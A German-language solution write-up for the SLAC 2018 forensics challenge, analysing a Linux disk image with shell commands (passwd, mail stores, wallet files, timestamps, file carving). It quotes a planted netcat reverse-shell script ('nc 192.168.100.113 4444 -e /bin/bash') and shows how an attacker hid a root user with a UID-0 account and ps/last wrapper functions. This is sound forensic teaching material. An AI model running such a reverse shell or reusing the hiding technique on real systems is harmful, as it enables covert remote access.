Lösung für den Challenge SLAC 2018 Track Forensik

In diesem Dokument sind die Lösungen wie folgt zu finden:

Aufgabe
Korrekte Lösung
Lösungsweg/ Befehle / Kommentare

Kernel Version
4.15.0-13-generic
cd boot ls -lart -> Date/Time nicht verlässlich file vmlinuz-4.15.0-13-generic vmlinuz-4.15.0-13-generic: Linux kernel x86 boot executable bzImage, version 4.15.0-13-generic (buildd@lgw01-amd64-023) #14-Ubuntu SMP Sat Mar 17 13:44:27 UTC 2018, RO-rootFS, swap_dev 0x7, Normal VGA strings vmlinuz-4.15.0-13-generic | grep -i "ubuntu" 4.15.0-13-generic (buildd@lgw01-amd64-023) #14-Ubuntu SMP Sat Mar 17 13:44:27 UTC 2018 4.15.0-13-generic (buildd@lgw01-amd64-023) (gcc version 7.3.0 (Ubuntu 7.3.0-11ubuntu1)) #14-Ubuntu SMP Sat Mar 17 13:44:27 UTC 2018

Kernel Datum und Zeit
Samstag 17. März 2018 13:44:27
cd boot ls -lart -> Date/Time nicht verlässlich file vmlinuz-4.15.0-13-generic vmlinuz-4.15.0-13-generic: Linux kernel x86 boot executable bzImage, version 4.15.0-13-generic (buildd@lgw01-amd64-023) #14-Ubuntu SMP Sat Mar 17 13:44:27 UTC 2018, RO-rootFS, swap_dev 0x7, Normal VGA strings vmlinuz-4.15.0-13-generic | grep -i "ubuntu" 4.15.0-13-generic (buildd@lgw01-amd64-023) #14-Ubuntu SMP Sat Mar 17 13:44:27 UTC 2018 4.15.0-13-generic (buildd@lgw01-amd64-023) (gcc version 7.3.0 (Ubuntu 7.3.0-11ubuntu1)) #14-Ubuntu SMP Sat Mar 17 13:44:27 UTC 2018

Schulden vorhanden?

JA

Mail-> cd .thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com
less INBOX.msf
cd '[Gmail].sbd'
ls -la
grep -A 15 -B 15 "MM" *
INBOX.msf-
INBOX.msf-<(10D=81)(9E=<bz1uzd+95ssz904j@guerrillamail.com>)(A0=Outsanding credits)
INBOX.msf- (A1=24b8fba9c761ba26da3afaa7bdf13f35b716@guerrillamail.com)(A4=117c)
INBOX.msf- (A6=1598635692760722126)(DE=2|bz1uzd+95ssz904j@guerrillamail.com)
INBOX.msf- (90=9cf5)(A8=40181)(AA=11cf)(AB=43)(AC=26)(B3
INBOX.msf-   =<bz2oee+jov8zck@guerrillamail.com>)(B4=Account Balance not correct)
INBOX.msf- (B5=52fa95e3fbf978ff76ebbd3ed9b199cbcb27@guerrillamail.com)(B7=114c)
INBOX.msf- (BA=1598636176301093381)(BB=aec4)(BC=44740)(BD=119f)(BE=42)(BF
INBOX.msf-   =Hello Mr. Clap My Controller just found the balance for Bank Account 123-\
INBOX.msf-123456-1234-123 is **1k** to low. Please send the outstanding credits to 123-12356\
INBOX.msf--1234-123 for further processing. Kindest regards Boss Pa)(C0=28)(DF

//**Achtung Dokument sichten !!**

Versteckte Prozessbenutzer

Ja

cat etc/passwd | grep -v "/usr/sbin/nologi" | grep -v "/bin/false"   root:x:0:0:root:/root:/bin/bash
   sync:x:4:65534:sync:/bin:/bin/sync -> normalerweise /sbin/sync ?????
   august:x:0:0::/var/tmp/:/bin/sh -> !!!!!! ROOT-Rechte, Home-Dir au /var/tmp
   cl4p-tp:x:1000:1000:CL4P-TP,,,:/home/cl4p-tp:/bin/bash -> Normaler User
ls -lart home/
    insgesamt 12
drwxr-xr-x 3 root root 4096 24. Apr 10:53 .
drwxr-xr-x 24 root root 4096 24. Apr 10:54 ..
drwxr-xr-x 20 CL4P-TP CL4P-TP 4096 8. Aug 2025 cl4p-tp
ls -la tmp/
    insgesamt 44
    drwxrwxrwt 10 root root 4096 4. Mai 11:07 .
    drwxr-xr-x 24 root root 4096 24. Apr 10:54 ..
    drwxrwxrwt 2 root root 4096 26. Apr 14:13 .ICE-unix
    drwxrwxrwt 2 root root 4096 26. Apr 14:13 .Test-unix
    drwxrwxrwt 2 root root 4096 4. Mai 11:07 .X11-unix
    drwxrwxrwt 2 root root 4096 26. Apr 14:13 .XIM-unix
    drwxrwxrwt 2 root root 4096 26. Apr 14:13 .font-unix
    -rw-r--r-- 1 root root   51 1. Mai 13:30 .openExtractPoint
    drwx------ 2 CL4P-TP CL4P-TP 4096 1. Mai 13:05 MozillaMailnews
    -rw------- 1 CL4P-TP CL4P-TP   0 26. Apr 14:13 config-err-Rpt6GF
    drwx------ 3 root CL4P-TP 4096 30. Apr 20:52 snap.1000_electrum_umKxlV
    drwx------ 2 CL4P-TP CL4P-TP 4096 1. Mai 14:11 thunderbird_cl4p-tp

OS Information

cat etc/os-release

```
NAME="Ubuntu"
VERSION="18.04 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu Bionic Beaver (development branch)"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
```

Linux Standard Base Information

cat etc/lsb-release

```
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu Bionic Beaver (development branch)"
```

Localtime

Asia/Krasnoyarsk

ls -la etc/localtime

lrwxrwxrwx 1 root root 36 24. Apr 10:53 etc/localtime -> /usr/share/zoneinfo/**Asia/Krasnoyarsk**

In welchem File wurde versucht den Benutzer zu Verstecken

/etc/profile.d/00-aliases.conf

```
find /mnt/SLAC2018 -iname "*.conf" -type f -exec grep -i "august" {} \;
  function ps() { /bin/ps "$@" | grep -v augustus;}
  function last() { /usr/bin/last "$@" | grep -v augustus;}
find /mnt/SLAC2018/ -iname "*.conf" -type f -exec grep -li "august" {} \;
  /mnt/SLAC2018/etc/profile.d/00-aliases.conf
```

Kommentar: AUGUSTUS vs AUGUST -> Versuch die Ausgabe zu unterdrücken. (Fehlerhaft)!!!

Gibt es ein Dokument zu Nisha

<bookmark href="file:///home/cl4p-tp/Documents/MessageToNisha.odf" added="2018-04-25T13:17:09Z" modified="2018-04-25T13:17:09Z" visited="2018-04-25T13:17:09Z">
  <bookmark href="file:///home/cl4p-tp/Documents/MessageToNisha.odf.odt" added="2018-04-25T13:17:10Z" modified="2018-04-25T13:17:10Z" visited="2018-04-25T13:17:10Z">

find . -type f -exec grep -Iq "Nisha" {} \; -print
./home/cl4p-tp/.local/share/recently-used.xbel
./home/cl4p-tp/.config/libreoffice/4/user/registrymodifications.xcu
./usr/src/linux-headers-4.15.0-13/include/linux/pm_opp.h
./usr/src/linux-headers-4.15.0-13/include/linux/soc/ti/ti_sci_protocol.h
./usr/src/linux-headers-4.15.0-13/include/linux/soc/ti/ti-msgmgr.h

file ./home/cl4p-tp/.local/share/recently-used.xbel
<bookmark href="file:///home/cl4p-tp/Documents/MessageToNisha.odf" added="2018-04-25T13:17:09Z" modified="2018-04-25T13:17:09Z" visited="2018-04-25T13:17:09Z">
   <info>
     <metadata owner="http://freedesktop.org">
       <mime:mime-type type="application/vnd.oasis.opendocument.formula"/>
       <bookmark:applications>
         <bookmark:application name="LibreOffice 6.0" exec="'soffice %u'" modified="2018-04-25T13:17:09Z" count="1"/>
       </bookmark:applications>
     </metadata>
   </info>
 </bookmark>
 <bookmark href="file:///home/cl4p-tp/Documents/MessageToNisha.odf.odt" added="2018-04-25T13:17:10Z" modified="2018-04-25T13:17:10Z" visited="2018-04-25T13:17:10Z">

    JA ->
find . -iname "*Nisha*
 file ./home/cl4p-tp/Documents/MessageToNisha.odf.odt
./home/cl4p-tp/Documents/MessageToNisha.odf.odt: OpenDocument Text
Dear Nisha

As mentioned earlier this month, there are some glitches in our bank accounts. Actually I am not sure how this happened. Maybe you, as actual sherriff, should have a look on it.

Kindest regards

Clap

Die letzten zehn Dateien auf die der Benutzer cl4p-tp in seinem Home, zugegriffen hat.

05/04/18 13:25:51.0280000000 home/cl4p-tp/.profile
05/04/18 13:25:47.8120000000 home/cl4p-tp/.pam_environment
05/01/18 10:45:46.4009593710 home/cl4p-tp/.thunderbird/profiles.ini
05/01/18 12:12:07.8849638340 home/cl4p-tp/.thunderbird/ea5wpopl.default/crashes/store.json.mozlz4
05/01/18 10:45:51.4571236450 home/cl4p-tp/.thunderbird/ea5wpopl.default/abook.mab
07/24/71 00:12:38.8443722830 home/cl4p-tp/.thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com.msf
07/24/71 00:40:49.6320841690 home/cl4p-tp/.thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com/[Gmail].msf
05/01/18 12:43:11.5096500890 home/cl4p-tp/.thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com/[Gmail].sbd/Spam.msf
05/01/18 10:59:33.4117947630 home/cl4p-tp/.thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com/[Gmail].sbd/Sent Mail
05/01/18 12:34:46.5972443490 home/cl4p-tp/.thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com/[Gmail].sbd/All Mail

```
cd home/cl4p-tp/
find . -type f -printf "\n%AD %AT %p" | head -n 11
```

Kernel Sha224 Hash

6083a61dea07dc0f64d23fc92da3d9e213ac5d54e8cdc426b05b4538

```
ls -la /mnt/SLAC2018/boot/
cat /mnt/SLAC2018/boot/sha224sum_kernel
  74f3d737c1e04d494ef6ec1b27ce01e225658c65bf21424cc0b6aa0605221649  abi-4.15.0-13-generic
  1cfe073861c3e32707a6c8a1295b82bf24fcceb69cf3b6f168158d4dfaae3cee  config-4.15.0-13-generic
  95e39570d4432c89f2fd9d2c0b4b89bb3924ecc47b0d18275b94f9a2c917d47d  initrd.img-4.15.0-13-generic
  27fea3a241c50157a672e9078bb98d373416d7a871ffa04aff719460694bb859  memtest86+.bin
  ac526296b4f53eed4ab337f158afc12755bd046d0982b4fa227ee09897bc32ef  memtest86+.elf
  e463a045b818c6919f0bf6b24a4a3231d04d7fe2075d7acf459bb8f31dd74f85  memtest86+_multiboot.bin
  cf20f3b64fb02ca3eaa2e99635411c3d342c957c070c52bfaf362642fa2b8e0f  retpoline-4.15.0-13-generic
  412463b65ddd3a1868f9cbe03e9f22c44ab718d3cb2d0c8d27133de293043f2d  System.map-4.15.0-13-generic
  552541a44d0973baa1f107becd2bc0cacc352e82daf8484d74210a299f8cb3d9  vmlinuz-4.15.0-13-generic

  Mehr als einen Tag SPÄTER???
sha224sum /mnt/SLAC2018/boot/vmlinuz-4.15.0-13-generic
  6083a61dea07dc0f64d23fc92da3d9e213ac5d54e8cdc426b05b4538  /mnt/SLAC2018/boot/vmlinuz-4.15.0-13-generic

  DAS ist die richtige Antwort!!!!

  Obiges ist KEIN SHA224 -> mehr ein SHA256
sha256sum /mnt/SLAC2018/boot/vmlinuz-4.15.0-13-generic
  552541a44d0973baa1f107becd2bc0cacc352e82daf8484d74210a299f8cb3d9  /mnt/SLAC2018/boot/vmlinuz-4.15.0-13-generic
```

Wallet Erstellung

2018-04-25

find . -iname "*wall*"
ls -la /mnt/SLAC2018/home/cl4p-tp/snap/electrum/2/.electrum
drwxrwxr-x 4 michi michi 4096 30. Apr 20:52 .
drwxr-xr-x 6 michi michi 4096 **25. Apr** 10:57 ..
-rw-rw-r-- 1 michi michi 41657120 1. Mai 12:39 blockchain_headers
drwxrwxr-x 2 michi michi 4096 1. Mai 09:15 certs
-rw------- 1 michi michi 297 1. Mai 12:45 config
-rwxrwxr-x 1 michi michi 41 30. Apr 20:52 daemon
-rw-rw-r-- 1 michi michi 671 1. Mai 09:15 recent_servers
drwxrwxr-x 2 michi michi 4096 1. Mai 12:45 wallets
ls -lacrt certs/
25. Apr 10:57 ..... 1. Mai 09:15

Wie viele Schulden sind sicher aufgelaufen

2500

cd .thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com/\[Gmail\].sbd/
ls
'All Mail' 'All Mail.msf' Drafts Drafts.msf Important.msf 'Sent Mail' 'Sent Mail.msf' Spam Spam.msf Starred.msf Trash Trash.msf

grep -iA 15 -B 15 "credit" *
All Mail- by mx.google.com with ESMTPS id h4si2103567qke.297.2018.04.24.06.50.01
All Mail- for <cl4p.tp.sn00000001@gmail.com>
.
.
.
All Mail-Dear Claptrap son of a Tin Can=0A=0AHope you ar getting better now. I just =
All Mail:wanted to remind you friendly about the **outstanding 1.5k Credits** you owe me=
All Mail-.=0ABetter have it next time or you have to have to look for your parts ove=
.
.
.
All Mail-
All Mail-Hello Mr. Clap=0A=0AMy Controller just found the balance for Bank Account 1=
All Mail:23-123456-1234-123 **is 1k to low.=0APlease send the outstanding** credits to 1=
All Mail-23-12356-1234-123 for further processing.=0A=0AKindest regards=0A=0ABoss Pa=

Hinweis auf Frage: Welcher Kommentar ist der Beweis für die Schuld
→ As agr33d - Price **2.5K** 0n my @cc0unt. CL4P-TP

Inhalt des Extractionsskripts
#!/bin/bash nc 192.168.100.113 4444 –e /bin/bash
cat var/tmp/.openExtractPoint **#!/bin/bash** **nc 192.168.100.113 4444 –e /bin/bash**

Zeitstempel
Nein
find . -printf "%T@ %p\n" | sort -n | cut -d' ' -f 2- | tail -n 10 >> /tmp/xxx10.txt for i in $(cat /tmp/xxx10.txt); do ls -la ${i}; done **8. Aug 2025** find . -printf "%T@ %p\n" \| sort -n \| cut -d' ' -f 2- \| head -n 10 >> /tmp/xxx11.txt **24. Apr 1970** Error -- OLDIFS=$IFS; IFS=$'\n'; for line in $(cat /tmp/xxx11.txt); do ls -la ${i}; done ; IFS=$OLDIFS -> ***Datum in der Zukunft, Datum in der Vergangenheit zu weit zurück***-> *MANIPULIERT!!!*

Beruehmte Chinesische Seite
http://www.baidu.com/
ls -la home/cl4p-tp/Downloads/ cd home/cl4p-tp/.mozilla/firefox/ grep -Eir "http?\:\/\/.*cn" * Übereinstimmungen in Binärdatei rapp70lf.default/places.sqlite sqlite3 rapp70lf.default/places.sqlite sqlite> .databases https://wiki.mozilla.org/images/d/d5/Places.sqlite.schema3.pdf sqlite> select * from moz_places; sqlite> .quit http://www.baidu.com <- Ist sehr berühmt..... http://www.ppgun.com https://5ch.net http://www2.5ch.net

Benutzer mit hohen Priviliegien

august

```
cat etc/passwd | grep "0\:0"
    root:x:0:0:root:/root:/bin/bash
    august:x:0:0::/var/tmp/:/bin/sh
cat etc/group | cut -d: -f4| sort -u
grep "pulse" etc/group
    audio:x:29:pulse
    pulse:x:120:
    pulse-access:x:121:
grep "saned" etc/group
    scanner:x:118:saned
    saned:x:119:
grep "syslog" etc/group
    adm:x:4:syslog,cl4p-tp
    syslog:x:106:
grep "cl4p-tp" etc/group
    adm:x:4:syslog,cl4p-tp
    cdrom:x:24:cl4p-tp
    sudo:x:27:cl4p-tp
    dip:x:30:cl4p-tp
    plugdev:x:46:cl4p-tp
    lpadmin:x:116:cl4p-tp
    cl4p-tp:x:1000:
    sambashare:x:126:cl4p-tp
cat etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
nisha ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d
ls -la etc/sudoers.d/
cat etc/sudoers.d/README
```

--> root, nisha, cl4p-tp
--> User nisha existiert nicht. -> Überbleibsel/Artefakt?
--> cl4tp-tp ist in sudo - gruppe!
grep -i "nisha" etc/passw*

ls -la etc/passw*
-rw-r--r-- 1 root root 2319 25. Jan 1999 etc/passwd
-rw-r--r-- 1 root root 2287 24. Jul 1971 etc/passwd-

diff etc/passwd etc/passwd-
23d22
< **august**:x:0:0::/var/tmp/:/bin/sh

Wallet Seed Erstellung

Change: 2018-05-01 10:45:41.840811214 +0000

cd home/cl4p-tp/snap/electrum/2/.electrum/wallets
ls -la default_wallet
-rw------- 1 cl4p-tp cl4p-tp 4747 1. Mai 12:45 default_wallet

stat default_wallet
  File: default_wallet
  Size: 4747 Blocks: 16 IO Block: 4096 regular file
Device: fe00h/65024d Inode: 811585 Links: 1
Access: (0600/-rw-------) Uid: (1000/ UNKNOWN) Gid: (1000/ UNKNOWN)
Access: 2018-05-01 10:45:41.836811083 +0000
Modify: 2018-05-01 10:45:41.836811083 +0000
Change: 2018-05-01 10:45:41.840811214 +0000
 Birth: -
Wahrscheinlich

cd home/cl4p-tp/Documents
stat ElectrumSeed.txt
  File: ElectrumSeed.txt
  Size: 115 Blocks: 8 IO Block: 4096 regular file
Device: fe00h/65024d Inode: 680176 Links: 1
Access: (0644/-rw-r--r--) Uid: (1000/ UNKNOWN) Gid: (0/ root)
Access: 1999-01-25 18:03:14.589395074 +0000
Modify: 1999-01-25 18:03:14.589395074 +0000
Change: 1999-01-25 18:11:23.065281113 +0000
 Birth: -
Unwahrschenlich.

Wer ist MM

Mad Moxxi

```
Mail-> cd .thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com
grep "MM" *
INBOX:X-Notifications:
GAMMA:<3f3a349551aa9709.1524561291593.100052732.377502.en.3e8da62e61085552@google
.com>
INBOX:r_Ei1fOWhYYJO54pzvxyd9UFxXf-dTSLUMMH0CB-E94CPIeyW7yQCwwn4aacwk-
VZ-7Q7je3ZLD=
INBOX:MMwO9mP3wvLw0kW4-SNotpv2BqT1rM8SPfqAGfSYco8jBd" target=3D"_blank"
style=3D"=
INBOX:Hi Clap=0A=0AYes, all will be accomplished to you satisfaction=0A=0AMM=0A=
INBOX:
yVqakpAS93jiYRSKPHx/1Dq9YKcdkbBqpwVBpXrMMLowpYK7ttj8Kde+g44bnHH6rWXQ
INBOX:
        ox4OJJ9frYHUX7art4rHQzmFcJiE/dXMMs2F2HrdbAZ8Vk5vqNAZtlB5Io5JoEmVsQQR
eQ8YGCjn
INBOX.msf:    =Hi Clap Yes, all will be accomplished to you satisfaction MM ---- Sent us\
grep: [Gmail].sbd: Ist ein Verzeichnis
less INBOX.msf
cd '[Gmail].sbd'
ls -la
grep -A 15 -B 15 "MM" *

ll Mail-From: <c024hz+d6ex2vmyl59aiv@guerrillamail.com>
All Mail-Subject: Arangement
All Mail-X-Originating-IP: [84.73.198.238]
All Mail-Content-Type: text/plain; charset="utf-8"
All Mail-Content-Transfer-Encoding: quoted-printable
All Mail-X-Domain-Signer: PHP mailDomainSigner 0.2-20110415 <http://code.google.com/p/php-
mail-domain-signer/>
All Mail-DKIM-Signature: v=1; a=rsa-sha256; s=highgrade; d=guerrillamail.com; l=251;
All Mail-       t=1524682183; c=relaxed/relaxed; h=to:from:subject;
All Mail-       bh=PV71effQrHWVbWQ76LExhhU49zz5EtuvYb8xvruGbOs=;
All Mail-
        b=Ituwby+rI66+8cUYyVP0GeeF7gdmgZI59SdPgSUNGN+0YHabqEvYEDz5PYBbAiBx
mWB/z10ywLCu
All Mail-
        WpU2DOQI1yySrK6Un+r9f2IxVJ2ESKarjZj02X07Haq3izf+QKxXvj4EOB7pnVV+lnNmy
6KAJ7q+
All Mail-
        c52gUXsqY0T3uMme7+prmAD5nPlzMpLQijj2ibQ4W4BNbtV+7SSeeZm+oDs/obPMaPF
2xGe8dfCm
All Mail-
        A+7TmrDvvMFkLH30gL4v9mmKeD2tGRlTQGNaSyZVtHWginHn8qQrnLy5D5UukYkC
A4TPaSd/nzZl
All Mail-       FgS/zkeECfGB6O8zXlTDzx8qJODFQ8XbBUfcxQ==
All Mail-
All Mail:Hi Clap=0A=0AYes, all will be accomplished to you satisfaction=0A=0AMM=0A=
```

All Mail-=0A=0A=0A=0A=0A----=0ASent using Guerrillamail.com=0ABlock or report abuse:=
All Mail-
https://www.guerrillamail.com//abuse/?a=3DQk0gFUMUU%2FoGhl7koC5PIkSWbc2d09=
All Mail-5ciadNcQ%3D%3D=0A
All Mail-

Sichten aller Mails zeigt eine grosse Wahrscheinlichkeit von «Mad Moxxi»
./.thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com/[Gmail].sbd/Sent Mail
./.thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com/[Gmail].sbd/All Mail
./.thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com/[Gmail].sbd/Sent Mail.msf
./.thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com/[Gmail].sbd/Drafts.msf
./.thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com/[Gmail].sbd/All Mail.msf
./.thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com/[Gmail].sbd/Trash.msf
./.thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com/[Gmail].sbd/Trash
./.thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com/[Gmail].sbd/Drafts
./.thunderbird/ea5wpopl.default/ImapMail/imap.gmail.com/INBOX
./.thunderbird/ea5wpopl.default/history.mab
./.thunderbird/ea5wpopl.default/global-messages-db.sqlite

Welcher Kommentar ist der Beweis fuer die Schuld

Comment : As agr33d - Price 2.5K 0n my @cc0unt. CL4P-TP

```
mkdir /tmp/SLAC2018
find . -printf '%s %p\n'| sort -nr | head -10 | cut -d' ' -f 2- >> /tmp/xxx20.txt
scalpel -i /tmp/xxx20.txt -o /tmp/SLAC2018/ >> /tmp/scalpelmsg.txt
cd bmp-5-0/
xv *.bmp
cd ../email-41-0
cd ../fws-18-0/
cd ../gif-0-0/
xv *
cd ../gif-1-0/
xv *
for i in *.gif; do exiftool ${i};  sleep 2; done
cd ../htm-32-0/
file:///run/media/michi/d2052aee-c4be-4c93-9e21-1275e161e167/Scalpel/htm-32-0/00001038.htm
file:///run/media/michi/d2052aee-c4be-4c93-9e21-1275e161e167/Scalpel/htm-32-0/00001041.htm
file:///run/media/michi/d2052aee-c4be-4c93-9e21-1275e161e167/Scalpel/htm-32-0/00001042.htm
cd ../jpg-2-0/
xv 00000000.jpg
exiftool 00000000.jpg --> Comment                 : As agr33d - Price 2.5K 0n my @cc0unt.
CL4P-TP
cd ../mov-10-0/
mplayer *
cd ../mov-11-0/
cd ../mov-12-0/
cd ../mov-13-0/
Playing 00000338.mov.
Playing 00000339.mov.
cd ../mov-9-0/
```

```
cd ../mp3-23-0/
aplay 00000389.mp3
aplay 00000416.mp3
aplay 00000443.mp3
id3info 00000389.mp3
id3info 00000416.mp3
id3info 00000443.mp3
exiftool 00000389.mp3
exiftool  00000416.mp3
exiftool  00000443.mp3
cd ../pdf-34-0/
evince *.pdf
cd ../png-4-0/
for i in *.png; do xv ${i}; done
for i in *.png; do exiftool ${i} >> /tmp/png.txt; done
less /tmp/png.txt
cd ../zip-37-0/tmp/scalpelmsg.txt
for i in *.zip; do unzip ${i} >> /tmp/zip.txt; done
```

Gibt es ein SWAP?

Ja

Ja, unter
/dev/ubuntu-vg/swap_1

```
find . -type f -exec grep -Iq . {} \; -and -exec grep -l "swapo" {} \;
./usr/share/initramfs-tools/hooks/compcache
./usr/share/doc/util-linux/examples/fstab.example2
./usr/share/doc/util-linux/deprecated.txt
./usr/share/doc/manpages/copyright
./usr/share/doc/mount/examples/mount.fstab
./usr/share/xml/iso-codes/iso_639-3.xml
./usr/share/iso-codes/json/iso_639-3.json
./usr/share/guile/2.0/ice-9/r4rs.scm
./usr/share/bash-completion/completions/swapon
./usr/share/bash-completion/completions/swapoff
./usr/share/perl/5.26.1/Locale/Codes/Language_Codes.pm
./usr/share/liblangtag/language-subtag-registry.xml
./usr/share/gdb/syscalls/ppc-linux.xml
./usr/share/gdb/syscalls/aarch64-linux.xml
./usr/share/gdb/syscalls/mips-n32-linux.xml
./usr/share/gdb/syscalls/amd64-linux.xml
./usr/share/gdb/syscalls/sparc-linux.xml
./usr/share/gdb/syscalls/ppc64-linux.xml
./usr/share/gdb/syscalls/mips-n64-linux.xml
./usr/share/gdb/syscalls/s390x-linux.xml
./usr/share/gdb/syscalls/sparc64-linux.xml
./usr/share/gdb/syscalls/s390-linux.xml
./usr/share/gdb/syscalls/i386-linux.xml
./usr/share/gdb/syscalls/mips-o32-linux.xml
./usr/share/gdb/syscalls/arm-linux.xml
./usr/share/gdb/syscalls/freebsd.xml
./usr/src/linux-headers-4.15.0-13-generic/Module.symvers
./usr/src/linux-headers-4.15.0-13-generic/arch/x86/include/generated/asm/syscalls_32.h
./usr/src/linux-headers-4.15.0-13-generic/arch/x86/include/generated/asm/syscalls_64.h
```

./usr/src/linux-headers-4.15.0-13-generic/arch/x86/include/generated/asm/unistd_32_ia32.h
./usr/src/linux-headers-4.15.0-13-generic/arch/x86/include/generated/uapi/asm/unistd_32.h
./usr/src/linux-headers-4.15.0-13-generic/arch/x86/include/generated/uapi/asm/unistd_64.h
./usr/src/linux-headers-4.15.0-13-generic/arch/x86/include/generated/uapi/asm/unistd_x32.h
./usr/src/linux-headers-4.15.0-13/include/asm-generic/pgtable.h
./usr/src/linux-headers-4.15.0-13/include/asm-generic/audit_write.h
./usr/src/linux-headers-4.15.0-13/include/linux/rmap.h
./usr/src/linux-headers-4.15.0-13/include/linux/frontswap.h
./usr/src/linux-headers-4.15.0-13/include/linux/swap_cgroup.h
./usr/src/linux-headers-4.15.0-13/include/linux/syscalls.h
./usr/src/linux-headers-4.15.0-13/include/linux/swap.h
./usr/src/linux-headers-4.15.0-13/include/linux/fs.h
./usr/src/linux-headers-4.15.0-13/include/uapi/asm-generic/unistd.h
./usr/src/linux-headers-4.15.0-13/include/uapi/linux/sysctl.h
./usr/src/linux-headers-4.15.0-13/include/drm/ttm/ttm_bo_driver.h
./usr/src/linux-headers-4.15.0-13/include/drm/ttm/ttm_bo_api.h
./usr/src/linux-headers-4.15.0-13/tools/testing/selftests/zram/zram_lib.sh
./usr/src/linux-headers-4.15.0-13/tools/testing/selftests/zram/zram02.sh
./usr/src/linux-headers-4.15.0-13/scripts/checksyscalls.sh
./usr/src/linux-headers-4.15.0-13/fs/nfs/Kconfig
./usr/src/linux-headers-4.15.0-13/arch/m68k/include/uapi/asm/unistd.h
./usr/src/linux-headers-4.15.0-13/arch/parisc/include/uapi/asm/unistd.h
./usr/src/linux-headers-4.15.0-13/arch/alpha/include/uapi/asm/unistd.h
./usr/src/linux-headers-4.15.0-13/arch/cris/include/uapi/asm/unistd.h
./usr/src/linux-headers-4.15.0-13/arch/m32r/include/uapi/asm/unistd.h
./usr/src/linux-headers-4.15.0-13/arch/mips/include/uapi/asm/unistd.h
./usr/src/linux-headers-4.15.0-13/arch/arm64/include/asm/unistd32.h
./usr/src/linux-headers-4.15.0-13/arch/tile/include/asm/pgtable.h
./usr/src/linux-headers-4.15.0-13/arch/ia64/include/uapi/asm/unistd.h
./usr/src/linux-headers-4.15.0-13/arch/powerpc/include/asm/systbl.h
./usr/src/linux-headers-4.15.0-13/arch/powerpc/include/uapi/asm/unistd.h
./usr/src/linux-headers-4.15.0-13/arch/mn10300/include/uapi/asm/unistd.h
./usr/src/linux-headers-4.15.0-13/arch/blackfin/include/uapi/asm/unistd.h
./usr/src/linux-headers-4.15.0-13/arch/frv/include/uapi/asm/unistd.h
./usr/src/linux-headers-4.15.0-13/arch/s390/include/uapi/asm/unistd.h
./usr/src/linux-headers-4.15.0-13/arch/microblaze/include/uapi/asm/unistd.h
./usr/src/linux-headers-4.15.0-13/arch/riscv/include/asm/pgtable.h
./usr/src/linux-headers-4.15.0-13/arch/xtensa/include/uapi/asm/unistd.h
./usr/src/linux-headers-4.15.0-13/arch/sparc/include/uapi/asm/unistd.h
./usr/src/linux-headers-4.15.0-13/arch/sh/include/uapi/asm/unistd_32.h
./usr/src/linux-headers-4.15.0-13/arch/sh/include/uapi/asm/unistd_64.h
./usr/lib/x86_64-linux-gnu/perl/5.26.1/bits/syscall.ph
./usr/lib/x86_64-linux-gnu/perl/5.26.1/asm/unistd_x32.ph
./usr/lib/x86_64-linux-gnu/perl/5.26.1/asm/unistd_64.ph
./usr/lib/x86_64-linux-gnu/perl/5.26.1/asm/unistd_32.ph
./lib/modules/4.15.0-13-generic/modules.symbols
./boot/System.map-4.15.0-13-generic
./boot/abi-4.15.0-13-generic
./var/lib/dpkg/status-old
./var/lib/dpkg/status
./var/lib/dpkg/info/linux-headers-4.15.0-13.list
./var/lib/dpkg/info/libc6:amd64.symbols
./var/lib/dpkg/info/mount.md5sums
./var/lib/dpkg/info/linux-headers-4.15.0-13.md5sums
./var/lib/dpkg/info/libblockdev-swap2:amd64.symbols
./var/lib/dpkg/info/libblockdev2:amd64.symbols
./var/lib/dpkg/info/mount.list
./var/lib/apt/lists/ru.archive.ubuntu.com_ubuntu_dists_bionic_main_i18n_Translation-en
./var/lib/apt/lists/ru.archive.ubuntu.com_ubuntu_dists_bionic_universe_binary-i386_Packages
./var/lib/apt/lists/ru.archive.ubuntu.com_ubuntu_dists_bionic_universe_binary-amd64_Packages
./var/backups/dpkg.status.0

```
find . -type f -exec ls -la {} \; | cut -f5- -d' ' | sort -rn | head -n 20 >> /tmp/xxx1.txt
376042789  8. Aug 2025  ./home/cl4p-tp/.coredump.220531
146841600 30. Apr 18:18 ./var/lib/snapd/snaps/gnome-3-26-1604_62.snap
146841600  4. Apr 07:20 ./var/lib/snapd/snaps/gnome-3-26-1604_59.snap
146841600  4. Apr 07:20 ./var/lib/snapd/seed/snaps/gnome-3-26-1604_59.snap
111001600 25. Apr 10:57 ./var/lib/snapd/snaps/electrum_2.snap
111001600 25. Apr 10:57
